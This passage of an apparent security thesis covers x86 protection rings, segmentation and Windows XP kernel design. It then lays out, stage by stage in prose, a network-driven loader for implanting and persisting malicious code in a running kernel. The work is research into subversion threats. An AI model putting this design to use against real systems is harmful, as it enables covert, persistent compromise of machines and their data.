[CC99], three privilege domains are needed to properly protect certain privileged 

instructions from less privileged subjects.  This architecture, given that rings are used, 

requires that there are two supervisor rings and one user ring.  The highest privilege level 
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ring would contain the Reference Monitor, the middle ring would contain the domain for 

other operating system code such as device drivers and the last would be used as a user or 

application privilege ring.  The Common Criteria, as was mentioned above, agrees with 

this assertion by stating that domain separation must be used between the Reference 

Monitor portion of the kernel, the additional untrusted functions of the operating system, 

and the remainder of the untrusted subjects in the system operating at the lowest privilege 

level.   

 

G. CHANGING PRIVILEGE LEVELS IN A CONTROLLED MANNER 

  If a low privilege code segment wishes to access a higher privileged segment, 

such as when a higher privileged I/O routine must be accessed to complete an I/O 

operation, there must be a controlled, mediated manner for this change of privilege levels 

to occur.  In most hardware implementations, the subject would access what is called a 

gate, a location specified by and within the sought after segment.  This gate would allow 

access to the routine only, and not to other parts of the segment, such as data structures 

that hold information that the lower privileged user should not have access to.  Gates 

provide a lower privileged subject the ability to access higher privileged data at specified 

points in the higher privileged object only.   

Also, when switching context as in a multiprocessing environment, it is important 

to ensure that when the instruction pointer changes to a subject which does not have the 

same privilege as the current subject, this must be done in a controlled manner such that 

the new, less privileged subject does not adopt the privilege level of the previous subject.  

That way, user code is not executing as kernel code, for example, which could be 

disastrous.  An example of how inadequate privilege separation is exploited is through 

the buffer overflow, which will be discussed in more detail in the next chapter.   

 

H. MANAGING SYSTEM I/O RESOURCES AND MINIMIZING COVERT 
CHANNELS 

Input/Output device security within a system is often neglected because of its 

complexity and the need to optimize a system with respect to access times to and from 
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devices.  It has been shown as in [KA91A], that unless the I/O subsystem is properly 

controlled, there are certain covert channels, or information tunnels, that can be exploited 

to leak higher sensitivity data to a lower sensitivity subject (i.e. Top Secret to Secret), a 

condition which would violate the system security policy.  This virtualization limits the 

number of global variables visible to lower level processes.  These lower level processes 

may be signaled by a Trojan horse operating at a higher level to pass information to a 

lower level using storage channels.  Timing channels may also exist, although they 

require an outside clock source, before addressing timing channels, it is more beneficial 

for system security if the storage channels are completely removed first.   

A good example of a potential channel in the I/O subsystem is that presented by 

[KA91A].   In it, the hard disk algorithm was attacked by having a higher level Trojan 

horse either signal a ‘1’ by requesting I/O to one block and ‘0’ by requesting another.  

The lower level process listening and writing the output, would look at the sequence of 

accesses and by looking at the order, could determine the signal.  This is relevant for 

systems with more than one user, these users having different access classes (i.e. Top 

Secret, Unclassified), commonly referred to as multi-level systems.  To solve this 

problem, one could rely on a synchronous, polling type of I/O algorithm, though this is 

often viewed as extreme.  A better method, however, would be to limit channels by 

analyzing algorithms for subtle design flaws that might enable information to be passed 

to a lower sensitivity level.  Such care is necessitated even though some channels if 

removed, could make the system unusable, and thus, can only be minimized.   

One way to generalize protection of an I/O system is to represent I/O devices as 

subjects, as was done in constructing the GEMSOS system [SCH85].  In this system, the 

access class of an I/O device limits what information can pass to and from it.  This 

enables the security mechanisms of a system to check access requests of these devices 

because they frequently attempt to access buffers and other processes’ memory spaces to 

complete I/O requests.  In this way, it is useful to describe it as a kind of shared library.   

Another way to protect the I/O system, not with respect to covert channels, is 

protecting I/O resources using the previously mentioned protection principles.  I/O 

descriptor tables can limit access to I/O relevant segments such as those that hold the I/O 
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vector to specified supervisor processes.  Making the I/O vector read only using segment 

access types (i.e. Read, Write), can prevent the inadvertent or intentional corruption of 

I/O relevant tables.  Protection rings can be used in all of these components and can limit 

which part of the kernel can gain access to these segments by blocking these resources 

from underprivileged kernel subjects.   

 

I. CONCLUSION 

In conclusion, several security concepts have been described that are relevant to 

system security.  Where there are hardware architectures that contain these mechanisms 

for implementing a secure operating system, they ought to be used by system designers to 

build the highest assurance system possible.  However, this is not always the case.  In the 

next chapter, I will focus on the Intel x86 hardware architecture, present these hardware 

features as they apply to Windows XP and the presented x86 architecture, and discuss 

how these features should be effectively used.   
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III. INTEL X86/WINDOWS XP SPECIFIC RECOMMENDATIONS 

In this chapter, the previous hardware requirements for high assurance systems 

will be used to illustrate that, if developers of Windows XP desired, they could use the 

available hardware architecture of Intel’s 32-bit x86 architecture, to help implement a 

high assurance system.   

A. INTRODUCTION 

If the Windows XP operating system were to be redesigned for higher assurance, 

the requirements that were mentioned in the last chapter ought to be considered as a basis 

for improvements.  The way the XP kernel uses Intel’s x86 hardware should be looked at 

and refinements should be made to ensure Windows XP can effectively use the available 

hardware features for high assurance.  As a basis for the operating system internals, I will 

refer to [SOL00] as a reference to the constructs within the kernel and I will refer 

primarily to the documentation from Intel, [INTP5], for a detailed specification of the 

x86 32-bit architecture. 

The reference monitor concept dictates that in order to ensure that all access 

attempts within the system are mediated based on a set security policy, three 

requirements are needed.  These are that the Reference Validation Mechanism (RVM), 

the code that enforces the security policy, must be tamperproof, always invoked, and 

small enough to be analyzed and tested to ensure complete mediation [AND72].  The last 

requirement itself is constructed of the notions that the RVM must contain all code 

necessary to enforce the security policy, and that the RVM only contains what is 

sufficient to do its job of mediating access attempts, (i.e. no extra code in the RVM 

modules).     

In our discussion, the term, operating system or system memory, will be used to 

describe all code and data structures that operate at Windows XP’s higher protection ring, 

commonly called kernel mode.  The kernel, as defined in [AME83], is the security 

relevant portion of the operating system that ought to be separated from the remainder of 

the operating system.  This is referred to as the implementation of the Reference Monitor 

in [CC99] or RVM.  In Windows XP operating system terminology, it is important to 
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note, the kernel is substantially larger than this, and includes the supervisor portion of 

system, which does not carry out security relevant tasks, but that runs in kernel mode 

with the security relevant portion.  These terms will be used to describe Windows XP’s 

attributes, so as to avoid confusion in terminology. 

 

B. DOMAIN SEPARATION IN WINDOWS XP 

The operating system in Windows XP is one big block of memory.  It resides in 

one, large address space, in which all instructions that operate at the highest privilege 

level, hereafter referred to as Windows’ kernel mode, may address any data or jump to 

any other instruction in kernel mode memory space.  Though system programmers and 

even Intel’s user manual may refer to this as the un-segmented memory model, segments 

are still used, but all descriptors refer to the same memory [INTP5].  In the x86 

architecture, no bit exists to turn off segmentation completely.  There are bits to toggle 

paging and to control varying virtual modes such as virtual 8086 mode (real mode), but 

the segmentation hardware performs the address calculations, base and bound, and access 

rights checking on every memory reference, regardless of whether the flat or segmented 

model used.  These calculations are performed by converting the logical address to a 

linear address using the segment selector (unique identifier), which refers, in a table, to 

the base address of the segment.  The offset is calculated and compared against the limit 

of the segment descriptor that is loaded to complete the operation.  If paging is used, the 

linear address is converted in hardware to a physical address, and if not, they are the same 

address. 

Windows XP does not provide a separation between security relevant portions of 

the operating system, and non-security relevant portions.  In an ideal implementation, 

according to [AME83] and [CAE02], a privilege level separation should exist in order to 

protect the implementation of the Reference Monitor from other operating system code, 

such as device drivers and functions that do not handle shared resources in a system.  

This is to provide the highest possible assurance that the system’s security policy is 

always enforced and the system never enters an insecure state.  In this section, a case is 

made for creating a privilege separation between the kernel, the security policy enforcing 
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portion of the operating system, and the supervisor, the portion of the operating system 

which does not handle shared resources between users.  

 

1. Privilege Levels in Intel’s 32-bit Architecture 

Stored in the segment descriptors that refer to segments are two bits that signify 

the privilege level of the segment.  These bits stand for four privilege levels, (i.e. 0, 1, 2, 

and 3, 0 being the level of highest privilege) and are used in the Windows XP operating 

system to separate kernel mode from user mode, using only the first and last privilege 

levels, 0 and 3. [INTP5]  To assist in the enforcement of privilege level protections, there 

are three data structures that hold privilege level information.  The CS segment register 

holds the current privilege level (CPL) of the currently running program.  All segment 

descriptors have a descriptor privilege level (DPL) field, which holds the referred to 

segment’s privilege level.  Finally, the segment selector that is created by a procedure 

holds the requestor’s privilege level (RPL), which is to say, the segment selector is 

loaded into a segment register along with the privilege level requested by the calling 

procedure.  

In the Intel 32-bit architecture, there are two different kinds of privilege level 

checks that are made when access to segments are attempted.  The first occurs when 

access to data is involved, (i.e. to a data segment) and the second occurs when control is 

being transferred, such as to a code segment.  When a data segment selector is loaded, the 

check is made to see if the lower privilege level of the CPL and RPL is of high enough 

privilege (greater than or equal) to the DPL of the segment pointed to by the descriptor 

holding the DPL.  If the CPL is lower than the desired segment’s privilege level, a 

transfer into a higher privileged running segment is necessary.  That brings us to the next 

kind of privilege level check, which occurs upon control transfer.  Typically, control 

transfers occur when jump, call, return, interrupt and interrupt return instructions are 

executed.  According to [INTP5], “near forms of the JMP, CALL, and RET instructions 

transfer program control within the current code segment, and therefore are subject only 

to limit checking.”  This is done to ensure execution is not being passed into a segment 

not in the addressable domain of the execution entity.   It further describes, that, “the 
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operands of the far forms of the JMP and CALL instruction refer to other segments, so 

the processor performs privilege checking.”  This is done either through selecting the 

descriptor of another executable segment, or by selecting a call gate descriptor to access a 

segment of higher privilege level.  When a call gate is not used, only the CPL and DPL 

are checked to see if the privilege level of the calling segment is equal to the called 

segment, or, “the segment is a conforming code segment, and its DPL is less (more 

privileged) than the CPL.” Conforming in this context meaning that the called segment 

adopts the privilege level, in this case lower privilege level, of the calling segment.  

When a call gate is used, a check is made of the following privilege levels: 1.) the current 

privilege level, 2.) the requestor’s privilege level, “of the segment selector used to specify 

the call gate,” 3.) the descriptor privilege level of the gate, and 4.) the privilege level of 

the segment descriptor of the sought after code segment.  The checks are made, when 

using gate descriptors, according to the following criteria [INTP5]:  

 

Figure 1. Jump and Call Instructions for the x86 Architecture 

 

2. Advantages and Disadvantages of Kernel Separation 

Now that we have discussed Intel’s framework for creating separate execution 

domains for the Reference Monitor and the supervisor, we describe the reasons for using 

such mechanisms to create this separation between the security and non-security relevant 

portions of the code.    

There is one main benefit of having only one execution domain for all system 

code, in which the segment descriptors do not change for jumps, calls and interrupts, 
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because the privilege level never has to change.  There are gains in performance when 

using near calls versus using far calls.  Far calls are used when referring to address space 

outside the immediate segment, as pointed out in [INTP5] and if a privilege level changes 

through a gate or a transfer of control to a conforming code segment, the corresponding 

call would be a far call.  As long as near calls are used, these extra operations are not 

necessary and processor time is saved.  The following diagram shows the various far and 

near calls that the X86 architecture supports and the processor time they require to 

complete the instructions [DET01].   

           

Table 2. Far and Near Calls 

The disadvantages of using only one privilege level for a single kernel mode are 

directly related to the protection of the Reference Monitor implementation, the RVM.  If 

a RVM is to be considered tamperproof, there has to be a separation between the most 

vital security features and the non-security related supervisor, just as there is a separation 

between the system execution domain and user execution domain.  If the RVM is not 

tamperproof, it may not be always invoked due to its possible deactivation by errant or 

malicious code.  Further, the RVM, if no separation exists between the kernel and 

supervisor parts of the operating system, may have the necessary functionality, but what 

is in the RVM cannot be called sufficient (i.e. limited to only that security functionality).   

The ideal construction would allow for a privilege level separation between the 

RVM and other operating system code.  This would include using privilege level 0 for the 

higher, kernel privilege level and privilege level 1 for the less privileged operating system 

mode.  In the X86 architecture, there are two bits, or four privilege levels, to designate 

the privilege level of an executing segment.  The first two levels can be used as was 



28 

described, in the kernel, and the last two can be used to differentiate higher privileged 

user mode processes such as daemons and DLL routines from the less privileged 

applications, like solitaire.  This gives the RVM, interrupt vectors, auditing mechanisms, 

paging control code, etc., the protection they need from device drivers, OS Extensions, 

and non-security related functions, that normally would reside in the kernel.  Privilege 

levels, combined with segmentation provide the basis for this kind of protection.  If a call 

is made to a privilege level 0 code segment, that is not available to a privilege level 1 

system thread that is executing, then a gate can be used by the RVM to ensure the access 

is to a specified location and not to arbitrary portions of higher privileged segments, as is 

the case with Windows 2000/XP.  Locating device drivers within the same kernel space 

as the security functions of the kernel is dangerous.  From a security standpoint, 

developers of the operating system have to be trusted, but device driver developers must 

be trusted as well.  Further, the need for device driver verification would be reduced 

significantly, because the system would not have to trust some certification process 

outside of the system.  The next section will discuss more about device driver verification 

and how using hardware effectively will reduce the amount of verification needed.  In 

summary, dividing the kernel into rings will allow for a logical separation of the security 

and non-security related portions of the kernel and will provide for a verifiable reference 

monitor implementation.   

 

C. ON THE QUESTIONABLE SECURITY VALUE OF DEVICE DRIVER 
SIGNING 

As it was mentioned previously, the device drivers in Windows 2000/XP run in 

the same security context as the reference validation mechanism.  This is to say, they 

operate at Ring 0, with full access to the only segment descriptor in the kernel.  

Therefore, they can potentially turn off all access checking, thus disabling the kernel 

through tampering.   As it was pointed out in [SOL00],  

“Although each Win32 process has its own private memory space, kernel mode 

operating system and device driver code share a single virtual address space.  

Each page in virtual memory is tagged as to what access mode the processor must 

be in to read and/or write the page…. In other words, once in kernel mode, 
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operating system and device driver code has complete access to system space 

memory and can bypass Windows 2000 security to access objects…. Because the 

bulk of the Windows 2000 operating system code runs in kernel mode, it is vital 

that components that run in kernel mode be carefully designed and tested to 

ensure that they don’t violate system security.” [SOL00] 

The answer to this problem was the driver signing and verification system 

[MIC01].  This mechanism simply warns the user if an unsigned driver is to be loaded by 

the operating system.  Drivers are tested at Microsoft at Windows Hardware Quality Labs 

(WHQL), and have been since 1998 [MIC01].  When a driver has been tested, it is signed 

using a private key from Microsoft and delivered to the vendor.  Thus, when the driver is 

installed, the operating system can determine whether or not it has been altered since 

testing at WHQL.  This is done based on a user-defined driver acceptance policy, which 

enables the user to choose to Ignore, Warn or Block drivers whose signatures cannot be 

validated by the system. 

There are several problems with this arrangement.  First, we are assuming that the 

user will be responsible and not install the unsigned, possibly malicious or defective 

driver by setting the driver policy to Block unsigned drivers.  Though this may happen in 

some cases, it is not a one hundred percent solution to the problem because the user may 

want his device to work regardless of whether he understands the security implications of 

this act or not.  In fact, the user may be a malicious insider preparing for an attack on the 

system at a later date.  Also, the user may think that he is installing a device driver that is 

from a reputable source, however, it was replaced at some point before it was checked, 

signed, and distributed to the user by an attacker.  Another potential problem is that a 

malicious developer either at Microsoft, or someone who has stolen the private key, may 

have signed a driver that should not have been signed simply because he wants to mount 

an attack on any machine that uses that driver.  [CAE02] discusses the Plug and Play 

driver vulnerabilities that were discovered, which could in fact have been introduced by a 

malicious developer.  Other possibilities include a subverted driver checking mechanism, 

or if the private keys used to sign the device drivers were somehow obtained, illegally, 

from Microsoft Corporation.  Such was the case in 2001 when Microsoft certificates were 

erroneously given to individuals posing as employees at Microsoft [AND02]. 
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The essence of this problem lies in the fact that Device Drivers may be designed 

with malice in mind, or may just be poorly engineered.  The only true protection that can 

be used to protect the reference monitor is to separate the device driver mechanisms 

through the use of segmentation, access checking and separate protection rings.  This 

enforces the principle of least privilege by limiting the ability of the device drivers to 

gain access to the reference monitor and alter it, thus making it useless.  The following is 

a diagram from Intel’s Pentium Processor System Programmer’s manual [INTP5], which 

illustrates the division between the device driver and higher privileged code.   

 

Figure 2. Protection Rings in the x86 Architecture. 

 

D. ATTACKS USING STACK MANIPULATION  

One of the most prevalent attacks on information security on an application and 

its underlying operating system is the buffer overflow attack.  These are typically divided 

into stack and heap overflow attacks.  Hackers routinely utilize buffer overflow attacks to 

gain root or administrator access to a system by exploiting certain memory bounds 

checking vulnerabilities in user applications.  These applications typically do not check 

the bounds of the buffers that are used in a processes’ memory, so that when an attack is 
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commenced, such as with the stack overflow, the input into the buffer is written to stack 

space to which it should not be written.  Basically, more is written into the buffer than 

can be held by it, so the function frame data that was saved on the stack prior to the 

buffer space being pushed to the stack, such as the return pointer for the function, is 

overwritten, allowing the return to an unauthorized space in memory.  By overflowing 

the contents of a buffer onto the return address for the function called, the hacker is 

allowing the instructions to which this process ultimately returns upon the completion of 

the function, to have the inherited privileges of the calling thread.    

There are several approaches that can be used to reduce this kind of vulnerability.  

As is described by Mixter in his tutorial [MIXT], several approaches can be taken to 

catch these vulnerabilities when they appear.  SUID wrappers are mentioned in the 

tutorial but are primarily used in UNIX based systems and are not relevant to Windows, 

thus they will not be explored as a solution.  Also, compilers, which carry out bounds 

checking of variables, are useful; however, one cannot assume application programmers 

will use only these kinds of compilers because this more likely depends on programmer 

preference or what the software’s previous versions were written with.  Other methods 

involve the use of ‘canaries’ or values that are placed just before the return pointer that, if 

modified, will prevent the return to the address specified, because that was probably 

overwritten as well. 

One possible improvement, from the system programmer’s perspective is to make 

all stack and heap segments non-executable both in the kernel and user space.  This 

technique was one of the solutions implemented in Multics, which is described in 

[KAR02].  This can be achieved through hardware mechanisms, already in place when 

segmentation is used, to stop the instruction pointer from entering stack memory space.  

In the Intel x86 architecture, system programmers can specify the access restrictions on a 

segment by altering flags such as read/write in data segments and read/execute in code 

segments.  Stack and Heap segments are special data segments, and therefore, cannot be 

executed.  However, when flat model applications run, and segments are not used, stack 

and heap overflows can allow the attacker to execute code stored in the stack because the 

segmentation protections are not in place.  In kernel memory where no segments are 

used, the same vulnerability exists.  Kernel buffer overflows vulnerabilities, such as the 
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Microsoft ntdll.dll (a kernel mode DLL) IIS web server vulnerability, have resulted in 

arbitrary code being launched at privilege level 0 with the attacker being able to operate 

at the same privilege level as kernel code [CER03].   

Though segmentation will not solve the buffer overflow problem, when 

segmentation is used, the impact of an overflow is reduced because as memory accesses 

attempt to cross a segment boundary, a check is made prior to the transfer of control from 

one segment to another, allowing previously mentioned protection mechanisms such as 

hardware privilege levels, segmentation, and access control bits (i.e. read/write) to be 

invoked to check if access is allowed into the new segment.  Further, as mentioned in 

[INTP5], there is no performance penalty for utilizing the access permissions in 

segmentation, because segmentation access checking is encoded in hardware, is always 

executed, and is done before any memory operations have started.   

 

E. ACCESS CONTROL GRANULARITY 

In Windows 2000, a large amount of access control within the kernel is done at 

the paging layer.  Whole portions of code may be marked read only or read/write by 

setting a bit located in the CR0 register, which governs the accessibility of a page 

[INTP5].  The following is a diagram of this register with the pertinent bits highlighted. 

 

Figure 3. CR0 Register in the x86 Architecture 

The Write Protect or WP bit, (bit 16) is used to determine whether the page is read only 

or read/write.  The Protection Enabled or PE bit (bit 0), enables protection at the segment 

descriptor level, which is preferred over page level protection for several reasons.  The 

only true benefit to having page level memory protection is that without segmentation, it 

provides a minimal amount of protection within the kernel for certain pages.  For 

example, Windows 2000/XP marks a page read only if it is a code page, either for 

NTOSKRNL.EXE or for device drivers [SOL00]. The weaknesses of this approach to 
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protecting memory in the kernel are important to consider.  First, without segmentation, it 

is not difficult in a flat memory-addressing scheme for an attacker with kernel mode 

access, such as when the page managing code of the kernel is subverted, to enable writing 

to a read only code page and to change the code to act in a manner conducive to his 

attack.  Also, marking certain areas non-executable is not possible because, intuitively, 

any page that is marked read is executable as well.   

Also, according to [SOL00], system code write protection does not apply to 

systems with 128 MB or more of physical memory.  This is because larger pages are used 

instead of smaller ones, 4 MB versus 4 KB, and because a 4 MB page may have more 

than just code in it, it is useless to assign code protection to a page with data in it as well.  

With regard to segments, the size is not fixed to 4 KB or 4 MB, rather, the size is variable 

up to the entire kernel memory space.  Segmentation, not paging, provides the correct 

access granularity for sections of code and data, especially within the kernel when more 

than one privilege level is used.     

 

F. CONCLUSION 

 In this chapter, the principles for the effective use of hardware presented in the 

previous chapter can be implemented using the x86 hardware.  With the Pentium 

processor and associated chipset, proper protection of the system is available to enable 

segment level protection, buffer overflow prevention, making the RVM tamperproof, 

isolating device drivers, and separating non-security relevant operating system code from 

security relevant code.  This is done through the use of hardware mechanisms such as 

segments, privilege rings, and proper access control granularity (i.e. segment level and 

not page level).   

 
 
 
 
 
 
 
 
 



34 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

THIS PAGE INTENTIONALLY LEFT BLANK 



35 

IV. SUBVERSION LINKER/LOADER DESIGN 

A. INTRODUCTION 

The dynamic subversion artifice is an attempt to show that it is not difficult for an 

attacker with some knowledge and access to a deployed system, to implement and install 

different kinds of subversion artifices at will, after the system has been shipped and is in 

an operational status.   

The subversion is composed of three fundamental design portions:  the Bootstrap 

Loader which acts as the resident, always-on portion of the subversion; the linker/loader 

which handles the loading, relocation and persistence of the artifice code; and the actual 

artifice attack code itself, which can be swapped in and out as the type of attack changes.  

The bootstrap loader is the main interface between the machine and the outside world, 

and can be thought of as the resident, always-ready-for-a-trigger portion of the 

subversion.  When the linker/loader code is sent to the system, along with the attack code, 

the linker/loader will provide the artifice with a context in which it can run.  The loaded 

artifice itself then runs as any other operating system code would.  It acts as if it were in 

the system because it was either, originally placed there by a malicious developer, 

introduced later in the lifecycle as stated in [MYE80], or even introduced to the system 

through a buffer overflow.  It can be jumped to, or called at will to activate the 

subversion.  For the purposes of the linker/loader, the target modules or nature of the 

actual loaded attack code is not important.  From the perspective of the bootstrap loader, 

the linker/loader is not important.   

The way that a dynamic subversion differs from a normal subversion or trapdoor, 

is that with a dynamic subversion, the target operating system component of the attacker 

is changed at will.  For example, on one day, the attacker may wish to export IPSEC keys 

from the system, and on the next day, the attacker may wish to corrupt the integrity of 

auditing data entries.  With the dynamic subversion artifice, the attacker can load any 

malicious patch into the system while it is running, have it linked and loaded into a semi-

permanent storage location and finally, store it for later use.   
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The linker/loader itself, which is the second major portion of the overall 

framework, and the portion that this thesis focused on, is the means by which the 

dynamic portion of the artifice finds space to operate or is loaded, is relocated in its 

allocated space of memory, and finally, is restored upon system boot.  The term ‘loading’ 

is used to describe the linker/loader’s function of finding memory for the artifice to reside 

in kernel memory, and to move the artifice into the memory area(s) that were found.  The 

term ‘relocation,’ is used to show that the attack code that is loaded into the space that is 

found for its execution, must be able to refer to parts of itself within that allocated space, 

and, unless it is completely self-referencing in a position-independent manner (i.e., 

relative jumps and memory accesses) there are portions of the code which must be able to 

point to fixed memory addresses.   

The primary goal of this portion of the dynamic subversion artifice is to accept 

implantable, artifice code and prepare it to run in the target machine by giving it a context 

in which to run.  The reason for this is that in order for this kind of attack to be 

generalize-able, any kind of artifice code must be manageable by the linker/loader.  Also, 

placement within system memory does not have to be the same for every attack that is 

loaded, nor must the loader place it directly in the module whose behavior is being 

altered during the attack.  That is, all the loader must do is allocate or find a space large 

enough to hold the artifice and this allocated memory will suffice.  Also, the task of 

relocation does not have to be done at the target machine; rather, it can be done before it 

is sent to the machine being attacked.  Further, although obfuscation, or deliberate hiding 

is not a goal of this exercise, it is in fact very difficult to discover the actions of the 

linker/loader or the entire artifice for that matter.  Though there are myriad different ways 

to implement the linker/loader, the main point is that it is not hard to do. 

 

B. ASSUMPTIONS 

Before exploring the specific design decisions that were made concerning the 

Dynamic Subversion Linker/Loader, it is useful to discuss the assumptions that are being 

made about the environment in which the Linker/Loader will operate.  Keep in mind that 
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these assumptions do not overly constrain the experiment by assuming away too much, 

thereby causing the spirit of the experiment to be lost.   

First, we assume that the platform is Windows NT based, which is to say it could 

be carried out on Windows XP, XPE (embedded), 2000, or the original NT operating 

system.  Readers should note that this attack’s general blueprint can be applied to another 

system such as Linux or a BSD based Unix OS, and that this type of attack does not just 

demonstrate a vulnerability of Windows-based machines.  The choice of this system is 

just as good as another for this demonstration because, from a malicious attacker’s 

viewpoint (i.e. someone with access to the source code or other representation of the 

systems during its lifecycle who would like to modify the system code in some 

unauthorized manner), it is relatively easy to do regardless of the target machine.  The 

point is that this could be done to any system whose protection mechanisms and reference 

monitor have not been verified to be safe from tampering.   

Next, we assume that before the linker/loader is put into place, that the bootstrap 

mechanism has been properly installed in the target machine, and operates as specified.  

Just as the implanted artifice itself must rely on the linker/loader, the bootstrap 

mechanism must be relied upon to provide several services for the linker/loader such as 

triggers, an initial place to run in memory, and (optionally) feedback to the attacker.   

Third, we assume that the means for the attack to be mounted upon the target 

system is a network in which the attack server is able to send/receive packets to/from the 

target machine.  This is not an exercise in host-based firewalls, nor one in the general 

field of network security.  Though the project recognizes that proper security mechanisms 

could potentially block the attack by using firewalls or intrusion detection systems, the 

point that a malicious insider could carry out this attack on any machine (including a 

firewall or intrusion detection system!) in the world running this operating system is 

reason enough to take this threat seriously.   

Fourth, we assume that the linker/loader is able to allocate memory on the target 

system, by using a function call.  This means it must be able to call kernel level functions 

and specify the size of the buffer space when calling or simply find the needed space in 

an unused portion of memory.  There are several hacker tricks documented on the 
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Internet which specify ways to do this, one of which will be utilized by the linker/loader 

to find memory in which to implant the artifice.  For the purpose of showing the ability to 

cope with split memory allocations, which is to say that not all of the memory needed can 

be found in one contiguous block, we show furthermore that the linker/loader and the 

attack code are able to cope with the attack artifice being loaded into two separate spaces.   

Also, by design, we assume that the address for calling the kernel mode memory 

allocation function is static.  This assumption is made because “ntoskrnl.exe,” which 

contains the kernel-mode instructions for the operating system, including memory 

allocation functions, is relatively static from boot to boot as far as the base load address is 

concerned. Therefore, the author did not find it necessary to find the address on every 

boot, though it could have been accomplished relatively easily.   

Last, though we would like to assume that persistence is always an option, we 

may assume that permanent storage is not always available.  If it is available, it allows the 

attacker to reestablish the artifice upon system boot.  If not, the spirit of the experiment is 

not lost because this does not detract from the ability to implant the artifice repeatedly in 

the first place after each system boot.   

 

C. HIGH LEVEL DESIGN  

The design for the linker/loader can best be described as a sequence of phases 

because the linker/loader has a definite start and finish of execution.  Before its execution 

the bootstrap loader code must be activated.  When the linker/loader completes,  the 

implanted artifice is started.  Because the implanted artifice relies on the linker/loader 

code to give it a context, there must be a definite agreement between these two portions 

as to the interface presented by the linker/loader to the exploit application that specifies 

the upper layer, the delivered artifice code, what services it can expect from the lower 

layer.  In general, the dependency is driven by the order of execution, because the 

linker/loader completes before any of the implanted artifice code is executed.  There is 

however an interface that is not time dependant that relies on predictable communication 

between the two portions, namely the means by which addresses are relocated.  Design 

decisions regarding the interfaces will be discussed in the next section.   
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This design takes into account the requirements mentioned previously as well as 

the assumptions made about the environment.  The linker/loader has several stages in 

which to carry out its portion of the attack, which is to set up the environment for the 

implantable artifice.  These three stages are explained below. 

In the first stage, the task is to find a portion of memory large enough to fit the 

entire implanted artifice into at least two memory areas.  This is to make the linker/loader 

more robust so that is possible to enable support for non-contiguous memory.  The 

artifice could reside in multiple areas, no greater than the number of functions, thus 

allowing maximum flexibility for finding memory in a memory restricted system.  Given 

that this portion can be allocated by some other means such as scouring the memory 

space for a large collection of initialized, but not used space (consecutive 0’s) or calling a 

memory allocation function, an address is returned, as feedback, to the attacker so the 

relocation of the implantable artifice can be done at the attacker’s own machine.  In the 

case of this design, the memory allocation is done using a function call. 

Stage I: 

1. The implantable code is prepared for use by the attack server (i.e., placed in the 
correct directory). 

2. The find memory function is sent to the target machine with specific parameters (size 
for example) using the bootstrap loader’s load function and is stored in the bootstrap 
loader’s buffer area (1st buffer area). 

3. The trigger is set for the find memory function using the bootstrap loader’s set trigger 
function. 

4. Send the trigger to activate the find memory function. 
5. The specific address of the beginning of the allocated buffer area (2nd buffer area) is 

returned as feedback to the attacker’s own machine, or a null if the operation failed. 
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Figure 4. Stage I of the Linker/Loader 

 

In the second stage, the attack code must be relocated based on the returned 

address, and loaded into the allocated memory space.  The attack code itself has an 

internal jump table, which enables the attack code to reference its modules, which may be 

distributed in many disjoint memory areas.  This table is relocated at the attacker’s 

machine so that when the artifice is finally loaded, the artifice code will run properly.  

Next, the artifice code is divided based on the maximum transmission unit of the network 

being used, the size of the loading instructions which will be placed in each packet in 

front of the artifice code, and the total size of the artifice code.  The following illustration 

shows how this is done. 
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Figure 5. Dividing the Artifice into Payload Sized Pieces, and Joining Each Piece 

with Loading Instructions 

The loading instructions in each packet are then relocated to place the artifice code in the 

allocated memory space when that packet is being loaded.  These instructions that move 

the artifice into the allocated memory spaces can be found in Appendix A.  Finally, one 

packet at a time is sent to the target machine to be loaded by the bootstrap loader’s 

loading mechanism into its buffer space.  What will ultimately be loaded into one 

allocated memory space may have to be loaded using many packets.  Each of these 

packets will have to have a trigger set and run to execute the loading instructions which 

will load the artifice correctly.  After the packet with a portion of the artifice contained in 

the packet has been placed in the bootstrap loader’s buffer space, the trigger is then set to 

activate the linker/loader’s loading instructions at the beginning of the packet payload.  

The trigger to execute these instructions is then activated by a run trigger packet to load 

the artifice code into place.  These last steps are repeated until all of the packets are sent 

to the target machine and loaded properly into the allocated memory space.   
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 Two points should be made, regarding the subversion linker/loader, that have not 

been mentioned previously.  First, although we use a feedback function to simplify the 

experiment, no feedback function is required to carry out such an attack.  One could load 

the linker/loader itself completely in the target machine and the attack could be carried 

out without sending any information back to the attacker.  This kind of arrangement 

would be required to load the artifice on a one-way network, such as some military 

networks.  Second, it is important to note that each loaded component’s structure, or 

composition is decided before the attack begins.  The attacker must decide how many 

memory allocations to request and decide which functions will be placed in each 

allocated memory space before the code is divided up by the linker/loader.   

 
Stage II: 
1. Based on the returned address, relocate the attack code’s jump table so that it is ready 

to execute when loaded. 
2. Based on the size of the attack code, the size of the loading code and the maximum 

transmission unit of the network being used, divide the code into packet payload sized 
units taking into account the header and payload size.  The loading code is a part of 
this packet, thus will be placed in the payload at the beginning of each payload.  The 
remainder of the payload is the artifice code divided based on the amount of space in 
the payload left to use.   

3. Relocation is executed on the loading instructions so that the artifice will be loaded in 
the correct, allocated memory space. 

4. Send the packets to the target machine, one at a time, setting the trigger and executing 
the trigger in between each load using the bootstrap loader’s load, set trigger and run 
trigger functions.  Once this is completed, the artifice code is in place and ready for a 
trigger to be set and run for its execution.   
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Figure 6. Stage II of the Linker/Loader 

 

The third stage is executed once the artifice is in place to enable the artifice to be 

persistent between system boots.   The persistence function is loaded first by sending the 

function in a packet to be loaded by the bootstrap loader.  Although long-term storage is 

not always a guarantee, especially in embedded systems, we assume that, in some cases, 

it does exist, and we will use this for persistence of the artifice from boot to boot.  The 

store/persistence function will be loaded first, and, when it is activated by subsequent set 

trigger and activate trigger packets, it will save the contents of the allocated buffer to 

long-term storage.  When the system is rebooted, the restore function is loaded, its trigger 

is set, and then activated to allocate memory for the stored artifice.  Based on the new 

allocated address, the artifice is reloaded into the new location, and relocated to the new 
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location.  Now it is ready for a new trigger to be set for the artifice, enabling it to run as it 

did prior to system reboot.  The reasons for handling restoration in this manner will be 

discussed in the next section.  It should be noted, that the restoring code would detect 

whether the system’s configuration had changed substantially, and decide not to restore 

in this manner.  A substantial change would be a change in the bootstrap loader’s buffer 

area, which would create a situation in which the restoring code would not know where 

the buffer space is.  In this case, feedback would be returned indicating that the 

restoration failed. 

 
 Stage III:  
1. The persistence code is loaded into the target machine. 
2. The trigger is set to start the store persistence function. 
3. The trigger is sent to find a location on disk or other long term media, and the code is 

stored to long term media 
4. The location of the artifice on the long-term media is returned as feedback to the 

attacker. 
